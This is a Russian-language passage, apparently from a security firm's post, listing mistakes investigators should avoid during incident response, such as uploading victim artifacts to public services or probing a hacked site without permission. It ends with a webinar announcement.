(3) Загружать артефакты пострадавших в общедоступные сервисы: VirusTotal, сервисы для декодирования/расшифровки неизвестных данных. В файлах/данных может быть конфиденциальная информация (пароли, ключи, название пострадавшей компании и т.д.)

(4) Писать в отчет не подтвержденную расследователем информацию, которую излагает пострадавший. «Порт RDP никогда не был доступен из Интернета…». «Ну ладно, был доступен, но там было ограничение по IP...» У расследователя нет задачи доверять. Его задача – сделать собственные доказанные выводы. Категорически запрещается не проверять выводы из других источников.

(5) Анализировать только известные логи/типы событий. Если вы не нашли ничего в стандартных логах Windows, вам могут помочь кастомные логи какого-то специфического софта. Например, в логах утилит для туннелирования может сохраниться время и IP-адрес входящих/исходящих подключений.

(6) Игнорировать зашифрованные диски виртуальных машин. Зачастую для ускорения процесса шифрования, трояны-шифровальщики шифруют большие файлы (например, диски виртуальных машин) не полностью. Если собрать такой файл у клиента, иногда из него удается вытащить журналы событий, файлы реестра и другую полезную для расследования информацию.

(7) При расследовании взлома web-сайта без разрешения клиента и наличия исходных кодов пытаться проверять на сайте различные вектора атак. Такими действиями вы можете случайно затереть какие-то страницы сайта; добавить код, который блокирует работу скриптов на фронтэнде; нарушить структуру БД; израсходовать ресурсы сервера; стриггерить СЗИ.

Подробнее о том, как правильно вести себя при расследовании инцидентов, расскажет наш эксперт Константин Сапронов в онлайновом эфире AM Live 11 декабря, в 11:00 МСК (для просмотра нужна регистрация по ссылке)